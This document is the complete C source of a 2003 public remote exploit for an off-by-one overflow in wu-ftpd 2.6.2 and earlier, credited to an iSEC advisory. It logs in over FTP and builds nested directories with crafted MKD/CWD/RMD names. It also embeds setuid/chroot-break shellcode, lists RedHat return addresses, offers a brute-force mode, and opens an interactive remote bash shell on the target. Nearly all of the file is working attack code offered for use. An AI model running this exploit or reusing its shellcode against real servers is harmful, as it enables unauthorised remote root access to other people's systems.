/* ** ** wu-ftpd v2.6.2 off-by-one remote 0day exploit. ** Public version - 2003/08/02 ** ** -- ** This vulnerability was discovered by Wojciech Purczynski <cliph@isec.pl>, ** Janusz Niewiadomski <funkysh@isec.pl>. ** They offered excellent Advisory, I'm thankful to them. ** ** URL: http://isec.pl/vulnerabilities/isec-0011-wu-ftpd.txt ** ** -- ** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>. ** My World: http://x82.inetcop.org */ /* ** -=-= POINT! POINT! POINT! POINT! POINT! =-=- ** ** More useful version isn't going to share. (various test version) ** For reference, exploit method that use `STOR' command succeeded. :-) ** ** Update: August 2, I added wu-ftpd-2.6.2, 2.6.0, 2.6.1 finally. ** August 3, Brute-Force function addition. ** -- ** Thank you. ** */ #define VERSION "v0.0.3" #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <netdb.h> #include <netinet/in.h> #include <sys/socket.h> #define DEBUG_NG #undef DEBUG_NG #define NRL 0 #define SCS 1 #define FAD (-1) #define MAX_BF (16) #define BF_LSZ (0x100) /* 256 */ #define DEF_VA 255 #define DEF_PORT 21 #define DEF_ANSH 11 #define GET_HOST_NM_ERR (NULL) #define SIN_ZR_SIZE 8 #define DEF_ALIGN 4 #define GET_R 5000 #define DEF_NOP 64 #define DEF_STR "x0x" #define HOME_DIR "/home/" #define DEF_HOST "localhost" #define DEF_COMM "echo \"x82 is happy, x82 is happy, x82 is happy\";" \ "uname -a;id;export TERM=vt100;exec bash -i\n" /* ftpd handshake */ #define FTP_CONN_SCS "220" #define FTP_USER_FAD "331" #define FTP_LOGIN_FAD "530 Login incorrect." #define FTP_LOGIN_SCS "230" #define CWD_COMM_SCS "250" /* also, RMD command */ #define MKD_COMM_SCS "257" #define MKD_EXIST "521" void ftpd_login(int sock,char *user,char *pass); void conn_shell(int conn_sock); int setsock(char *u_host,int u_port); void re_connt(int st_sock_va); void prcode_usage(char *f_nm); int mkd_cwd_f(int sock,int type,char *dir_nm,int gb_character); int send_shellcode(int sock,int type,char *dir_nm); void make_send_exploit(int sock,int type,u_long sh_addr,int d_type); int make_retloc(int sock,int type,char *atk_bf,u_long sh_addr); u_long null_chk(u_long sh_addr); void banrl(); struct os { int num; char *v_nm; u_long sh_addr; }; int t_g=(NRL); char home_dir[(DEF_VA)]; /* user home directory offset */ /* ** `0xff' uses two times to be realized in our shellcode. */ char shellcode_ffx2[]= /* setuid/chroot-break/execve shellcode by Lam3rZ */ "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb\x43\x89" "\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31\xc9\x8d\x5e\x01" "\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27\xcd\x80\x31\xc0\x8d\x5e\x01" "\xb0\x3d\xcd\x80\x31\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9" "\xfe\xc9\x31\xc0\x8d\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31" "\xc0\x88\x46\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe" "\xc8\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x89" "\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31\xdb\xb0" "\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff\x30\x62\x69\x6e\x30\x73\x68\x31" "\x2e\x2e\x31\x31"; struct os plat[]= { /* ** I enjoy version up, will not share more. :-} */ { 0,"RedHat Linux 6.x Version wu-2.6.0(1) compile",0x0806a59c }, { 1,"RedHat Linux 6.x Version wu-2.6.1(1) compile",0x0806aad8 }, { 2,"RedHat Linux 6.x Version wu-2.6.2(2) compile",0x0806aa60 }, { 0x82,NULL,0x0 }, { 0x8282,"Brute-Force mode",0x0806a082 } }; void prcode_usage(char *f_nm) { int r_n=(NRL); fprintf(stdout," Usage: %s -options arguments\n\n",f_nm); fprintf(stdout," \t-h [hostname] : Target hostname & ip.\n"); fprintf(stdout," \t-u [userid] : User id.\n"); fprintf(stdout," \t-p [passwd] : User password.\n"); fprintf(stdout," \t-n [port num] : Target port number.\n"); fprintf(stdout," \t-s [shelladdr] : Shellcode address.\n"); fprintf(stdout," \t-b : Brute-Force mode.\n"); fprintf(stdout," \t-m [max num] : Brute-Force Count number.\n"); fprintf(stdout," \t-i : help information.\n"); fprintf(stdout," \t-t [target num] : Select target number.\n\n"); for(r_n=(NRL);plat[r_n].v_nm!=(NULL);r_n++) { fprintf(stdout," \t\t{%d} %s.\n",(plat[r_n].num),(plat[r_n].v_nm)); } fprintf(stdout,"\n Example: %s -hlocalhost -ux82 -px82 -n21 -t0\n\n",f_nm); exit(FAD); } u_long null_chk(u_long sh_addr) { if((sh_addr>>(NRL)&0xff)==(0x00)) { return(sh_addr+=(SCS)); } else return(sh_addr); } void ftpd_login(int sock,char *user,char *pass) { char send_recv[(GET_R)]; (u_int)sleep(SCS); memset((char *)send_recv,(NRL),sizeof(send_recv)); recv(sock,send_recv,sizeof(send_recv)-1,(NRL)); if(!strstr(send_recv,(FTP_CONN_SCS))) { fprintf(stdout," [-] ftpd connection failure.\n\n"); close(sock); exit(FAD); } else fprintf(stdout," [*] ftpd connection success.\n"); fprintf(stdout," [+] User id input.\n"); memset((char *)send_recv,(NRL),sizeof(send_recv)); snprintf(send_recv,sizeof(send_recv)-1,"USER %s\r\n",user); send(sock,send_recv,strlen(send_recv),(NRL)); (u_int)sleep(SCS); memset((char *)send_recv,(NRL),sizeof(send_recv)); recv(sock,send_recv,sizeof(send_recv)-1,(NRL)); if(!strstr(send_recv,(FTP_USER_FAD))) { fprintf(stdout," [-] User id input failure.\n\n"); close(sock); exit(FAD); } else fprintf(stdout," [+] User password input.\n"); memset((char *)send_recv,(NRL),sizeof(send_recv)); snprintf(send_recv,sizeof(send_recv)-1,"PASS %s\r\n",pass); send(sock,send_recv,strlen(send_recv),(NRL)); (u_int)sleep(SCS); memset((char *)send_recv,(NRL),sizeof(send_recv)); recv(sock,send_recv,sizeof(send_recv)-1,(NRL)); if(strstr(send_recv,(FTP_LOGIN_FAD))) { fprintf(stdout," [-] FAILED LOGIN on %s.\n\n",user); close(sock); exit(FAD); } else if(strstr(send_recv,(FTP_LOGIN_SCS))) { fprintf(stdout," [*] User %s logged in.\n",user); } else { fprintf(stdout," [-] ftpd handshake failure.\n\n"); close(sock); exit(FAD); } return; } int mkd_cwd_f(int sock,int type,char *dir_nm,int gb_character) { int dr_n=(NRL),cmd_f=(NRL); char get_nm[(GET_R)]; memset((char *)dir_nm,(NRL),(GET_R)); /* MKD command */ dir_nm[cmd_f++]=(0x4d); dir_nm[cmd_f++]=(0x4b); dir_nm[cmd_f++]=(0x44); dir_nm[cmd_f++]=(0x20); for(dr_n=(cmd_f);dr_n<(DEF_VA)+(cmd_f);dr_n++) { dir_nm[dr_n]=(gb_character); } dir_nm[dr_n++]=(0x0d); dir_nm[dr_n++]=(0x0a); if(type) { send(sock,dir_nm,strlen(dir_nm),(NRL)); (u_int)sleep(SCS); memset((char *)get_nm,(NRL),sizeof(get_nm)); recv(sock,get_nm,sizeof(get_nm)-1,(NRL)); if(!strstr(get_nm,(MKD_COMM_SCS))&&!strstr(get_nm,(MKD_EXIST))) { fprintf(stdout," [-] MKD command failed.\n\n"); exit(FAD); } } /* CMD command */ cmd_f=(NRL); dir_nm[cmd_f++]=(0x43); dir_nm[cmd_f++]=(0x57); dir_nm[cmd_f++]=(0x44); send(sock,dir_nm,strlen(dir_nm),(NRL)); (u_int)sleep(SCS); memset((char *)get_nm,(NRL),sizeof(get_nm)); recv(sock,get_nm,sizeof(get_nm)-1,(NRL)); if(!strstr(get_nm,(CWD_COMM_SCS))) { fprintf(stdout," [-] CWD command failed.\n\n"); exit(FAD); } return; } int send_shellcode(int sock,int type,char *dir_nm) { int dr_n=(NRL),cmd_f=(NRL); char get_nm[(GET_R)]; memset((char *)dir_nm,(NRL),(GET_R)); /* MKD command */ dir_nm[cmd_f++]=(0x4d); dir_nm[cmd_f++]=(0x4b); dir_nm[cmd_f++]=(0x44); dir_nm[cmd_f++]=(0x20); for(dr_n=(cmd_f);dr_n<(DEF_VA)+sizeof(0xffffffff)+(cmd_f)-strlen(shellcode_ffx2);dr_n++) { dir_nm[dr_n]=(DEF_NOP); } for(cmd_f=(NRL);cmd_f<strlen(shellcode_ffx2);cmd_f++) { dir_nm[dr_n++]=shellcode_ffx2[cmd_f]; } dir_nm[dr_n++]=(0x0d); dir_nm[dr_n++]=(0x0a); if(type) { send(sock,dir_nm,strlen(dir_nm),(NRL)); (u_int)sleep(SCS); memset((char *)get_nm,(NRL),sizeof(get_nm)); recv(sock,get_nm,sizeof(get_nm)-1,(NRL)); if(!strstr(get_nm,(MKD_COMM_SCS))&&!strstr(get_nm,(MKD_EXIST))) { fprintf(stdout," [-] MKD shellcode_dir failed.\n\n"); exit(FAD); } } /* CMD command */ cmd_f=(NRL); dir_nm[cmd_f++]=(0x43); dir_nm[cmd_f++]=(0x57); dir_nm[cmd_f++]=(0x44); send(sock,dir_nm,strlen(dir_nm),(NRL)); (u_int)sleep(SCS); memset((char *)get_nm,(NRL),sizeof(get_nm)); recv(sock,get_nm,(GET_R)-1,(NRL)); if(!strstr(get_nm,(CWD_COMM_SCS))) { fprintf(stdout," [-] CWD shellcode_dir failed.\n\n"); exit(FAD); } return; } void make_send_exploit(int sock,int type,u_long sh_addr,int d_type) { char atk_bf[(GET_R)]; { fprintf(stdout," [+] 01: make 0x41414141 directory.\n"); (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x41)); /* 01 */ fprintf(stdout," [+] 02: make shell-code directory.\n"); (int)send_shellcode(sock,d_type,(atk_bf)); /* 02 */ fprintf(stdout," [+] 03: make 0x43434343 directory.\n"); (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x43)); /* 03 */ fprintf(stdout," [+] 04: make 0x44444444 directory.\n"); (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x44)); /* 04 */ fprintf(stdout," [+] 05: make 0x45454545 directory.\n"); (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x45)); /* 05 */ fprintf(stdout," [+] 06: make 0x46464646 directory.\n"); (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x46)); /* 06 */ fprintf(stdout," [+] 07: make 0x47474747 directory.\n"); (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x47)); /* 07 */ fprintf(stdout," [+] 08: make 0x48484848 directory.\n"); (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x48)); /* 08 */ fprintf(stdout," [+] 09: make 0x49494949 directory.\n"); (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x49)); /* 09 */ fprintf(stdout," [+] 10: make 0x50505050 directory.\n"); (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x50)); /* 10 */ fprintf(stdout," [+] 11: make 0x51515151 directory.\n"); (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x51)); /* 11 */ fprintf(stdout," [+] 12: make 0x52525252 directory.\n"); (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x52)); /* 12 */ fprintf(stdout," [+] 13: make 0x53535353 directory.\n"); (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x53)); /* 13 */ fprintf(stdout," [+] 14: make 0x54545454 directory.\n"); (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x54)); /* 14 */ fprintf(stdout," [+] 15: make 0x55555555 directory.\n"); (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x55)); /* 15 */ (int)make_retloc(sock,type,(atk_bf),sh_addr); /* 16 */ } return; } int make_retloc(int sock,int type,char *atk_bf,u_long sh_addr) { int r_rn_1=(NRL),r_rn_2=(NRL),cmd_f=(NRL); char get_nm[(GET_R)]; memset((char *)atk_bf,(NRL),(GET_R)); if(type) /* MKD command */ { atk_bf[cmd_f++]=(0x4d); atk_bf[cmd_f++]=(0x4b); atk_bf[cmd_f++]=(0x44); atk_bf[cmd_f++]=(0x20); } else /* RMD command */ { atk_bf[cmd_f++]=(0x52); atk_bf[cmd_f++]=(0x4d); atk_bf[cmd_f++]=(0x44); atk_bf[cmd_f++]=(0x20); } for(r_rn_1=(cmd_f),r_rn_2=(NRL);r_rn_2<(DEF_VA)-strlen(home_dir)-(DEF_ANSH);r_rn_2++) atk_bf[r_rn_1++]=(0x41); { *(long *)&atk_bf[r_rn_1]=(sh_addr); r_rn_1+=(DEF_ALIGN); *(long *)&atk_bf[r_rn_1]=(sh_addr); r_rn_1+=(DEF_ALIGN); atk_bf[r_rn_1++]=(0x41); atk_bf[r_rn_1++]=(0x41); atk_bf[r_rn_1++]=(0x41); atk_bf[r_rn_1++]=(0x0d); atk_bf[r_rn_1++]=(0x0a); } send(sock,atk_bf,strlen(atk_bf),(NRL)); (u_int)sleep(SCS); memset((char *)get_nm,(NRL),sizeof(get_nm)); recv(sock,get_nm,sizeof(get_nm)-1,(NRL)); if(type) /* MKD command */ { if(!strstr(get_nm,(MKD_COMM_SCS))&&!strstr(get_nm,(MKD_EXIST))) { fprintf(stdout," [-] MKD &shellcode_dir failed.\n\n"); exit(FAD); } else fprintf(stdout," [+] Ok, MKD &shellcode_dir.\n"); } else /* RMD command */ { if(!strstr(get_nm,(CWD_COMM_SCS))) { fprintf(stdout," [-] RMD &shellcode_dir failed.\n\n"); exit(FAD); } else fprintf(stdout," [+] Ok, RMD &shellcode_dir.\n"); } return; } int main(int argc,char *argv[]) { int opt_g,sock,__bf=(NRL); int mx_bf=(MAX_BF),bf_lsz=(BF_LSZ); char user_id[(DEF_VA)]=(DEF_STR); char pass_wd[(DEF_VA)]=(DEF_STR); char tg_host[(DEF_VA)]=(DEF_HOST); int tg_port=(DEF_PORT); u_long sh_addr=(plat[t_g].sh_addr); (void)banrl(); while((opt_g=getopt(argc,argv,"M:m:H:h:U:u:P:p:N:n:S:s:T:t:BbIi"))!=EOF) { extern char *optarg; switch(opt_g) { case 'M': case 'm': mx_bf=(atoi(optarg)); bf_lsz=((0x1000)/mx_bf); break; case 'H': case 'h': memset((char *)tg_host,(NRL),sizeof(tg_host)); strncpy(tg_host,optarg,sizeof(tg_host)-1); break; case 'U': case 'u': memset((char *)user_id,(NRL),sizeof(user_id)); strncpy(user_id,optarg,sizeof(user_id)-1); break; case 'P': case 'p': memset((char *)pass_wd,(NRL),sizeof(pass_wd)); strncpy(pass_wd,optarg,sizeof(pass_wd)-1); break; case 'N': case 'n': tg_port=(atoi(optarg)); break; case 'S': case 's': sh_addr=strtoul(optarg,(NRL),(NRL)); break; case 'T': case 't': if((t_g=(atoi(optarg)))<(3)) sh_addr=(plat[t_g].sh_addr); else (void)prcode_usage(argv[(NRL)]); break; case 'B': case 'b': __bf=(SCS); break; case 'I': case 'i': (void)prcode_usage(argv[(NRL)]); break; case '?': (void)prcode_usage(argv[(NRL)]); break; } } if(!strcmp(user_id,(DEF_STR))||!strcmp(pass_wd,(DEF_STR))) (void)prcode_usage(argv[(NRL)]); memset((char *)home_dir,(NRL),sizeof(home_dir)); snprintf(home_dir,sizeof(home_dir)-1,"%s%s",(HOME_DIR),user_id); if(!__bf) { fprintf(stdout," [*] Target: %s.\n",(plat[t_g].v_nm)); fprintf(stdout," [+] address: %p.\n",sh_addr); fprintf(stdout," [*] #1 Try, %s:%d ...",tg_host,tg_port); fflush(stdout); sock=(int)setsock(tg_host,tg_port); (void)re_connt(sock); fprintf(stdout," [ OK ]\n"); fprintf(stdout," [1] ftpd connection login.\n"); (void)ftpd_login(sock,user_id,pass_wd); fprintf(stdout," [2] send exploit code.\n"); (void)make_send_exploit(sock,(SCS),sh_addr,(SCS)); close(sock); fprintf(stdout," [+] #2 Try, %s:%d ...",tg_host,tg_port); fflush(stdout); sock=(int)setsock(tg_host,tg_port); (void)re_connt(sock); fprintf(stdout," [ OK ]\n"); fprintf(stdout," [3] ftpd connection login.\n"); (void)ftpd_login(sock,user_id,pass_wd); fprintf(stdout," [4] send exploit code.\n"); (void)make_send_exploit(sock,(NRL),sh_addr,(NRL)); fprintf(stdout," [5] Waiting, execute the shell "); fflush(stdout); (u_int)sleep(SCS); fprintf(stdout,"."); fflush(stdout); (u_int)sleep(SCS); fprintf(stdout,"."); fflush(stdout); (u_int)sleep(SCS); fprintf(stdout,".\n"); (void)conn_shell(sock); close(sock); } else { int bt_num=(NRL); t_g=(4); sh_addr=(plat[t_g].sh_addr); fprintf(stdout," [*] Brute-Force mode.\n"); fprintf(stdout," [+] BF Count: %d.\n",mx_bf); fprintf(stdout," [+] BF Size: +%d.\n\n",bf_lsz); for(bt_num=(NRL);bt_num<(mx_bf);bt_num++) { sh_addr=(u_long)null_chk(sh_addr); fprintf(stdout," [+] Brute-Force address: %p.\n",sh_addr); fprintf(stdout," [*] #1 Try, %s:%d ...",tg_host,tg_port); fflush(stdout); sock=(int)setsock(tg_host,tg_port); (void)re_connt(sock); fprintf(stdout," [ OK ]\n"); fprintf(stdout," [1] ftpd connection login.\n"); (void)ftpd_login(sock,user_id,pass_wd); fprintf(stdout," [2] send exploit code.\n"); if(bt_num==(NRL)) { (void)make_send_exploit(sock,(SCS),sh_addr,(SCS)); } else { (void)make_send_exploit(sock,(SCS),sh_addr,(NRL)); } close(sock); fprintf(stdout," [+] #2 Try, %s:%d ...",tg_host,tg_port); fflush(stdout); sock=(int)setsock(tg_host,tg_port); (void)re_connt(sock); fprintf(stdout," [ OK ]\n"); fprintf(stdout," [3] ftpd connection login.\n"); (void)ftpd_login(sock,user_id,pass_wd); fprintf(stdout," [4] send exploit code.\n"); (void)make_send_exploit(sock,(NRL),sh_addr,(NRL)); fprintf(stdout," [5] Waiting, execute the shell "); fflush(stdout); (u_int)sleep(SCS); fprintf(stdout,"."); fflush(stdout); (u_int)sleep(SCS); fprintf(stdout,"."); fflush(stdout); (u_int)sleep(SCS); fprintf(stdout,".\n"); (void)conn_shell(sock); close(sock); sh_addr+=(bf_lsz); } } exit(NRL); } int setsock(char *u_host,int u_port) { int sock; struct hostent *sxp; struct sockaddr_in sxp_addr; if((sxp=gethostbyname(u_host))==(GET_HOST_NM_ERR)) { return(FAD); } if((sock=socket(AF_INET,SOCK_STREAM,(NRL)))==(FAD)) { return(FAD); } sxp_addr.sin_family=AF_INET; sxp_addr.sin_port=htons(u_port); sxp_addr.sin_addr=*((struct in_addr*)sxp->h_addr); bzero(&(sxp_addr.sin_zero),(SIN_ZR_SIZE)); if(connect(sock,(struct sockaddr *)&sxp_addr,sizeof(struct sockaddr))==(FAD)) { return(FAD); } return(sock); } void conn_shell(int conn_sock) { int died; int ex_t=(NRL); char *command=(DEF_COMM); char readbuf[(GET_R)]; fd_set rset; memset((char *)readbuf,(NRL),sizeof(readbuf)); fprintf(stdout," [*] Send, command packet !\n\n"); send(conn_sock,command,strlen(command),(NRL)); for(;;) { fflush(stdout); FD_ZERO(&rset); FD_SET(conn_sock,&rset); FD_SET(STDIN_FILENO,&rset); select(conn_sock+1,&rset,NULL,NULL,NULL); if(FD_ISSET(conn_sock,&rset)) { died=read(conn_sock,readbuf,sizeof(readbuf)-1); if(died<=(NRL)) { if(!ex_t) return; else exit(NRL); } readbuf[died]=(NRL); fprintf(stdout,"%s",readbuf); } if(FD_ISSET(STDIN_FILENO,&rset)) { died=read(STDIN_FILENO,readbuf,sizeof(readbuf)-1); if(died>(NRL)) { readbuf[died]=(NRL); if(strstr(readbuf,"exit")) ex_t=(SCS); write(conn_sock,readbuf,died); } } } return; } void re_connt(int st_sock_va) { if(st_sock_va==(FAD)) { fprintf(stdout," [ Fail ]\n\n"); exit(FAD); } } void banrl() { fprintf(stdout,"\n 0x82-WOOoou~Happy_new - wu-ftpd v2.6.2 off-by-one remote exploit.\n\n"); } /* eoc */